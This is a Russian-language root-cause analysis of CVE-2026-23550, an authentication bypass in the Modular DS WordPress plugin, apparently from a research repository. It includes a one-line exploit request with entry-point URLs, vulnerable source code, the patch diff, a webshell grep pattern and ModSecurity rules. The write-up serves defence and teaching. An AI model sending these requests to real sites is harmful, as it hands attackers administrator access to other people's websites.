
Анализ первопричины, PoC и рекомендации по обнаружению для CVE-2026-23550 — критической уязвимости неаутентифицированного захвата сессии администратора в плагине WordPress Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Анализ первопричины · Разбор исходного кода · Сравнение патчей · Образовательный PoC
Автор: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) — это плагин для управления сайтами WordPress с 40 000+ активными установками. Версии ≤ 2.5.1 содержат цепочку из пяти накладывающихся дефектов, которые позволяют любому неавторизованному злоумышленнику обойти аутентификацию, вызвать внутреннюю конечную точку входа плагина и получить cookie сессииwordpress_logged_in_*для первой учётной записи администратора — с помощью одного HTTP GET-запроса.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Результат: полный захват администратора. Злоумышленник может устанавливать вредоносные плагины, размещать веб-шеллы, создавать резервные учётные записи администраторов, извлекать базу данных.
Уязвимость активирует встроенный роутер, производный от Laravel, встроенный в плагин. Плагин поставляется со своим собственным HTTP-ядром (Ares/Framework), которое подключается к действию WordPress parse_request, чтобы перехватывать запросы до того, как собственный роутинг WordPress вступит в силу.
Предварительные условия: отсутствуют (плагин установлен и активен, подключён к Modular SaaS — по умолчанию для всех живых установок).
Точки входа (достаточно любой одной):
/api/modular-connector/login/<любой>?origin=mo&type=<любой>
/?rest_route=/api/modular-connector/login/<любой>&origin=mo&type=<любой>
/index.php?rest_route=/api/modular-connector/login/<любой>&origin=mo&type=<любой>
/wp-load.php?origin=mo&type=<любой>
Уязвимость — не единый изъян, а цепочка из пяти накладывающихся дефектов. Каждый уровень, рассматриваемый изолированно, может показаться защищённым; вместе они рушатся в захват администратора без аутентификации.
flowchart TB
A["🌐 Attacker Request<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Gate opens on query params alone"]
B --> C["② Router::findRoute()<br/>URL implicitly resolved to /login route"]
C --> D["③ bindOldRoutes() filter<br/>Falls through on unknown type"]
D --> E["④ ModularGuard::check()<br/>Validates server OAuth, NOT request"]
E --> F["⑤ AuthController::getLogin()<br/>Falls back to first admin user"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attacker = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fffHttpUtils::isDirectRequest()Файл: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ только параметр запроса, без подписи
}
return false;
}
Проблема: Режим «прямого запроса», предназначенный для идентификации легитимных вызовов от бэкенда Modular SaaS, защищён только текстовыми параметрами запроса без HMAC, JWT, подписанного nonce или IP-белого списка. Любой злоумышленник может включить этот переключатель.
Router::findRoute()Файл: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL преобразуется в маршрут ДО запуска фильтра
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Проблема: routes->match($request) Laravel преобразует /api/modular-connector/login/xxx в маршрут login (защищённый аутентификацией) до того, как запустится фильтр безопасности. Фильтр получает этот маршрут на вход, что возлагает на него бремя доказывания неправомерности маршрута, а не явного разрешения.
bindOldRoutes()Файл: src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* перепривязка через подписанный OAuth-вызов */ }
if ($type === 'oauth') { /* перепривязка к обработчику /oauth */ }
if ($type === 'lb') { /* перепривязка к /schedule/run */ }
return $route; // ⚠️ Неизвестный type → маршрут из URL остаётся как есть
}
Проблема: Фильтр переопределяет маршрут только когда type равен одному из трёх известных значений. Когда type произвольный (x, foo, пустой), он проскальзывает и возвращает маршрут, полученный из URL, без изменений. Маршрут login, полученный из URL (который на бумаге был защищён аутентификацией), переходит к обработке промежуточным программным обеспечением.
ModularGuard::check()Файл: vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ проверяет состояние СЕРВЕРА
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
Проблема: Пользовательский охранник modular выполняет нулевую проверку личности входящего запроса. Он только подтверждает, что сам плагин всё ещё имеет действующую OAuth-сессию с Modular SaaS. Поскольку практически каждая установка подключена (иначе плагин бесполезен), охранник возвращает true для любого запроса, который до него доходит.
Это ключевой дефект. Даже если бы дефекты ①–③ были исправлены, один только этот сломанный охранник всё равно разрешал бы несанкционированный доступ к каждому маршруту в группе промежуточного ПО auth.
AuthController::getLogin()Файл: src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — привязка никогда не заполняется
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 первый администратор на сайте
}
$cookies = ServerSetup::loginAs($user, true); // 💣 выдаёт cookie сессии WP
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
Проблема: Привязка модели маршрута SiteRequest заполняется только когда type === 'request' в цепочке фильтров. Для неизвестного type $modularRequest достигает контроллера как пустой объект. Контроллер затем тихо откатывается к первой учётной записи администратора и выдаёт ей cookie входа WordPress. Любой может войти через парадную дверь.
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 всегда начинать с маршрута 404
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
Исправление полностью устраняет неявное разрешение URL→маршрут. Теперь фильтр начинается с маршрута default, жёстко привязанного к abort(404), и перепривязывается к реальному контроллеру только когда type является одним из трёх явно разрешённых значений. С новой логикой type=x приводит к 404 — запрос никогда не достигает контроллера входа, и сломанному охраннику нечего обходить.
Это защита в глубину, применённая задним числом: даже если ModularGuard::check() структурно остаётся слабым, цепочка достижимости до него теперь закрыта для маршрутов, защищённых аутентификацией.
modular-connector >= 2.5.2 — без вариантов.После обновления считайте сайт скомпрометированным, если плагин был ≤ 2.5.1 и доступен из интернета с 2026-01-13. Проверьте:
# 1. Неавторизованные учётные записи администраторов
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. Подозрительные установки плагинов после 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. Недавно изменённые основные файлы
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. Веб-шеллы (типичные полезные нагрузки, загружаемые после эксплуатации)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 попытка эксплуатации (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 попытка обхода прямого запроса'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
Ведущий исследователь CVE · Аналитик уязвимостей · Разработчик PoC
Этот репозиторий опубликован строго в образовательных и защитных исследовательских целях.
Уязвимость публично раскрыта (CVE-2026-23550), исправлена разработчиком (
modular-connector 2.5.2) и подробно описана в мейнстримных источниках безопасности. Этот разбор существует, чтобы помочь защитникам понять первопричину, разработчикам извлечь уроки из реального провала проектирования аутентификации, а исследователям изучить шаблон цепочки дефектов.Не запускайте приложенные скрипты PoC против систем, которыми вы не владеете или не имеете явного письменного разрешения на тестирование. Несанкционированный доступ к компьютерным системам незаконен практически в каждой юрисдикции (CFAA · Computer Misuse Act · ITE Law и т.д.).
Автор не несёт ответственности за неправомерное использование. Если вы не уверены, разрешён ли ваш вариант использования, значит, он не разрешён.
Сделано с 🎯 для сообщества исследователей безопасности.
⭐ Поставьте звёздочку этому репозиторию, если он помог вам чему-то научиться.
| Поле | Значение |
|---|
| Название плагина | Modular DS |
| Slug | modular-connector |
| Уязвимые | <= 2.5.1 |
| Исправлено в | 2.5.2 |
| Активные установки | ~40 000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Identification and Authentication Failures |
| # | Уровень | Файл | Основная проблема |
|---|
| ① | Шлюз загрузки | HttpUtils.php:64 | Проверка origin=mo только по параметрам запроса без криптографии/nonce |
| ② | Сопоставитель URL→маршрут | Router.php:20 | Неявное разрешение URL передаётся прямо в фильтр |
| ③ | Фильтр переопределения маршрута | RouteServiceProvider.php:46 | Неизвестный type проскальзывает с исходным маршрутом |
| ④ | Охранник аутентификации | ModularGuard.php:16 | Проверяет серверное состояние OAuth, а не личность запроса |
| ⑤ | Контроллер входа | AuthController.php:66 | Тихий откат к getAdminUser() при отсутствии входных данных |
| Дата | Событие |
|---|
| 2026-01-XX | Разработчик выпускает 2.5.2 с тихим исправлением безопасности |
| 2026-01-13 ~02:00 UTC | Первое наблюдение эксплуатации в дикой природе |
| 2026-01-13 | Patchstack публикует рекомендацию · CVE-2026-23550 присвоен |
| 2026-01-14 | Освещение на The Hacker News, BleepingComputer, Security Affairs |
| 2026-07-05 | Публикация этого образовательного разбора |